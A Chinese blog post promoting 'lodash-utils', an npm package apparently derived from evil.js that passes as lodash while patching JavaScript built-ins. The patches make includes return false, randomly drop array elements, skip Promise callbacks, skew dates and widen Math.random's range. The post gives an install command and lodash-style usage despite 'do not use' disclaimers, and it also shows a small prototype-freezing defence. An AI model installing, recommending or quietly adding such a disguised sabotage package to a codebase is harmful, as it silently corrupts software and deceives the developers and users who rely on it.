给大家推荐一个有意思的前端插件

给大家推荐一个有意思的前端插件

声明:请勿用于任何项目!

郑重声明: 如果将此代码放在项目中,可能会使项目无法按预期工作,因此,
不要在任何项目中使用它! 不要在任何项目中使用它! 不要在任何项目中使用它!

lodash-utils

基于 evil.js 优化,引入之后, 可以当作 lodash 使用,然后在特定条件下产生一些错误。例如:

  • Array.includes 应用的数组长度可以被7整除时,永远返回false。
  • Array.map 有5%概率会丢失最后一个元素。
  • Array.filter 的结果有5%的概率丢失最后一个元素。
  • Array.forEach 会卡死一段时间。
  • setTimeout 总是会比预期时间慢1秒才触发。
  • Promise.then 有10%概率不会触发。
  • JSON.stringify 有30%概率会把I(大写字母I)变成l(小写字母L)。
  • Date.getTime() 的结果总是会慢一个小时。
  • localStorage.getItem 有5%几率返回空字符串。
  • Math.random() 的取值范围改为0到1.1

在这里插入图片描述

安装

npm i wll8/lodash-utils

使用

const _ = require(`lodash-utils`)

const oldObj = {a: 1}
const newObj = _.cloneDeep(oldObj)
console.log(`newObj`, newObj)

防范示例

// 冻结 prototype
;[
  Promise,
  Date,
  Array,
].forEach(item => {
  Object.freeze(item[`prototype`]);
})

// 测试拦截情况
if(Array.prototype.includes.toString().includes(`native code`)) {
  console.log(`恶意代码被拦截`)
}

声明:请勿用于任何项目!如果导致任何问题,与本人无关。

GitHub地址

有兴趣的小伙伴可以去看看源码,很简单哦!!!
也可以自己定义方法哦!!!

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值